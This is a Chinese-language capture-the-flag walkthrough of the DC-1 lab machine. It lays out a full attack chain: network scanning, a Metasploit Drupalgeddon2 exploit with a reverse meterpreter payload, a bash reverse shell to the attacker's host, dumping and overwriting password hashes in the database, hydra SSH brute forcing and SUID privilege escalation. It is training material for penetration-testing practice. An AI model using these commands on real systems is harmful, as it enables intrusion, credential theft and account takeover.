一:准备阶段

DC-1下载与安装
下载:点我
安装:
下载之后进行解压,得到.ova文件
在这里插入图片描述

右键选择VMware打开,
在这里插入图片描述

选择路径,导入虚拟机,若出现下图情况,先点击取消,然后把vmware正处于开启状态的虚拟机关闭或者选择挂起。再重新选择路劲,导入虚拟机,若还是出现下图内容,则点击重试即可。
在这里插入图片描述
安装完成
在这里插入图片描述
点击编辑虚拟机
在这里插入图片描述
开启虚拟机会报如下图错误,无论点击是,否或者X掉,电脑直接蓝屏
在这里插入图片描述
需要给这个虚拟机一个iso文件地址,但是当你点进去的时候,你会发现没有ISO镜像可以用。
跟换其他的就可以了。
在这里插入图片描述
开启完成:
在这里插入图片描述

在Kali上,首先创建一个tmp文件夹,然后在这个文件夹中创建一个DC-1的文件夹,并进入该目录下(这样做是为了便于文件分门别类,便于管理查看),再进行如下操作。

用nmap进行ping扫描,命令为:nmap -sP 192.168.100.0/24 -oN nmap.sP
由刚才生成的MAC地址可以判断,靶机DC-1的IP为100.1

在这里插入图片描述
确定具体主机,进行端口扫描nmap -A 192.168.100.1 -p 1-65535 -oN nmap.A
发现其22 80端口号是开放的。
在这里插入图片描述

nmap -A 192.168.1.1 -p 1-65535 -oN namp.A
22端口			爆破
80				drupal				cms
			三大PHP cms之一
			drupal
			wordpress
			joomla

既然80端口开放了,我们就可以通过浏览器进行访问。
在这里插入图片描述
思路一:

这时候,我们可以通过工具进行网站扫描(需要时间)

工具:dirb
dirb http://192.168.100.1/
另外一款工具,需要手动安装,版本较新的kali自动安装了
	apt-get update
	apt-get install dirbuster

大概如下图所示:
在这里插入图片描述
扫描到robots.txt路径
在http://192.168.100.1/robots.txt 页面下,找到UPGRADE.txt文件,进入到http://192.168.100.1/UPGRADE.txt
在这里插入图片描述
发现版本是7.X,那么就可以通过百度搜索drupal7.x的漏洞。
类似下图:
在这里插入图片描述

 

思路二:
通过Kali里面的msfconsole直接搜索该网站模板存在的漏洞

启动msfconsole: msfconsole

查找漏洞:search drupal

在这里插入图片描述
选择这个攻击模块:use exploit/unix/webapp/drupal_drupalgeddon2
在这里插入图片描述
此处可以通过info进行基本信息查看(包括使用版本,漏洞详情等)如下图:
在这里插入图片描述
在这里插入图片描述

从上面info信息得知:这个漏洞名是CVE-2018-7600,那么就可以通过references查看该漏洞的详情:
通过查看References来查看该漏洞的详细信息;
References:
https://cvedetails.com/cve/CVE-2018-7600/
https://www.drupal.org/sa-core-2018-002
https://greysec.net/showthread.php?tid=2912
https://research.checkpoint.com/uncovering-drupalgeddon-2/
https://github.com/a2u/CVE-2018-7600
https://github.com/nixawk/labs/issues/19
https://github.com/FireFart/CVE-2018-7600

在这里插入图片描述

 

使用攻击载荷:set payload php/meterpreter/reverse_tcp
设置目标IP:set rhosts 192.168.100.1
设置源IP:set lhost 192.168.100.7
攻击:exploit

在这里插入图片描述
拿到shell
在这里插入图片描述
 

二:flag1

在这里插入图片描述

cat flag1.txt

在这里插入图片描述
Every good CMS needs a config file - and so do you.

这句话是在指引我们,找的该网站的配置文件。

配置文件所在目录:sites/default/

三:flag2

进入default目录下,
在这里插入图片描述
cat settings.php 得到flag2和数据库相关信息
在这里插入图片描述

 

四:flag3

通过 shell命令,进入交互式界面。
在这里插入图片描述
这时,我们使用连接mysql的命令:mysql -udbuser -pR0ck3t
发现输入之后没有任何反应。连接失败?

为什么呢?这个shell是通过http连接的,是非持久性连接,而我们需要建立一个持久性连接,所以连接失败。

那么怎么建立一个持久性连接呢?做一个反弹shell。

在Kali上新打开一个命令窗口,nc -lvvp 2333 监听2333端口。
这里为什么要新建一个命令窗口呢?因为刚才Kali的命令窗口已经通过shell命令进入到shell页面了(相当于是drupal的命令窗口上)
在这里插入图片描述
然后在shell窗口上进行bash反弹
命令如下:bash -i >& /dev/tcp/192.168.100.7/2333 0>&1
直接反弹失败。(kali新建的命令窗口也没有任何反应)
在这里插入图片描述

借助python进行反弹
python -c 'import pty;pty.spawn("/bin/bash")'
然后再输入bash反弹的命令,
bash -i >& /dev/tcp/192.168.100.7/2333 0>&1
如下图,反弹成功(小的命令窗口出现了红框中的内容)。
在这里插入图片描述
接下来有个坑点:
这时,我们再次使用连接mysql的命令:mysql -udbuser -pR0ck3t
首先在反弹shell窗口输入连接mysql的命令,发现没有任何反应。
在这里插入图片描述
按ctrl+c 退出之后,再到shell交互环境输入连接mysql的命令,不退出的话,两边都没有任何反应。(我也是觉得很奇怪。。。)
在这里插入图片描述
连接成功。
进入到数据库,命令是:

show databases;			# 查看数据库
use drupaldb;			# 进入数据库
show tables;			# 查看所有的表	

在这里插入图片描述
发现表中有个users表
在这里插入图片描述
查询该表:select * from users\G
得到如下内容:

mysql> select * from users\G
select * from users\G
*************************** 1. row ***************************
             uid: 0
            name: 
            pass: 
            mail: 
           theme: 
       signature: 
signature_format: NULL
         created: 0
          access: 0
           login: 0
          status: 0
        timezone: NULL
        language: 
         picture: 0
            init: 
            data: NULL
*************************** 2. row ***************************
             uid: 1
            name: admin
            pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
            mail: admin@example.com
           theme: 
       signature: 
signature_format: NULL
         created: 1550581826
          access: 1550583852
           login: 1550582362
          status: 1
        timezone: Australia/Melbourne
        language: 
         picture: 0
            init: admin@example.com
            data: b:0;
*************************** 3. row ***************************
             uid: 2
            name: Fred
            pass: $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
            mail: fred@example.org
           theme: 
       signature: 
signature_format: filtered_html
         created: 1550581952
          access: 1550582225
           login: 1550582225
          status: 1
        timezone: Australia/Melbourne
        language: 
         picture: 0
            init: fred@example.org
            data: b:0;
3 rows in set (0.00 sec)

mysql> 

接下来重置后台管理员密码,
重置admin 用户密码
这里我们破解admin 用户密码要耗费时间,我们可以考虑重置admin 用户密码,用一个新的密码密文覆盖掉admin原来的密码密文:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

那么,我们就首先要生成一个已知明文密码的密码密文,

先exit退出,进入www目录下,使用命令:php scripts/password-hash.sh 123456

如图:
在这里插入图片描述
重新登录mysql:mysql -udbuser -pR0ck3t
使用drupaldb:use drupaldb;

更新user表:
update users set pass="$S$DJH3xhaAx8rf1UTjtuyyNf2cvME84jKzKnN5YBaPXDSAZ9GgkimE" where uid=1;

在这里插入图片描述

更新user表成功
通过浏览器访问网站,账号密码是admin/123456
在这里插入图片描述
登录成功
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

线索:提示我们 etc/passwd

五:flag4

既然要去/etc/passwd目录下
那么我们先退出mysql
在这里插入图片描述
cat /etc/passwd

在这里插入图片描述

找到了flag4

从上面给出的信息,可以看到flag4 用户是可以登录的。
那我们使用hydra 爆破该用户密码。
命令:hydra -l flag4 -P /usr/share/john/password.lst 192.168.100.1 ssh -vV -f -o hydra.ssh

IP是目标IP,也就是DC-1靶机的IP
-f:遇到正确的就停止。
-o:就是把结果输出到一个文件中。

首先在Kali上再新建一个命令窗口,
进入在准备阶段就创建好的目录下,
在这里插入图片描述
等待。。。。
在这里插入图片描述
爆破成功。
用ssh登录成功
在这里插入图片描述
输入ls
在这里插入图片描述
提示我们,在root目录下。

 

六:flag5

那么我们首先直接cd 到root下,发现没有权限,这时候就考虑提权。
在这里插入图片描述

查看系统中是否有一些命令具有SUID 标志(在执行命令过程中会短暂的获得root权限)?
我们用带有SUID标志的命令去调用bash,bash会继承SUID权限,也会短暂的获得root权限。

查找具有SUID标志的命令:find / -perm -4000 2>/dev/null

在这里插入图片描述
接下来的步骤如下图:
在这里插入图片描述
好了,这就渗透测试完成了。。。

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐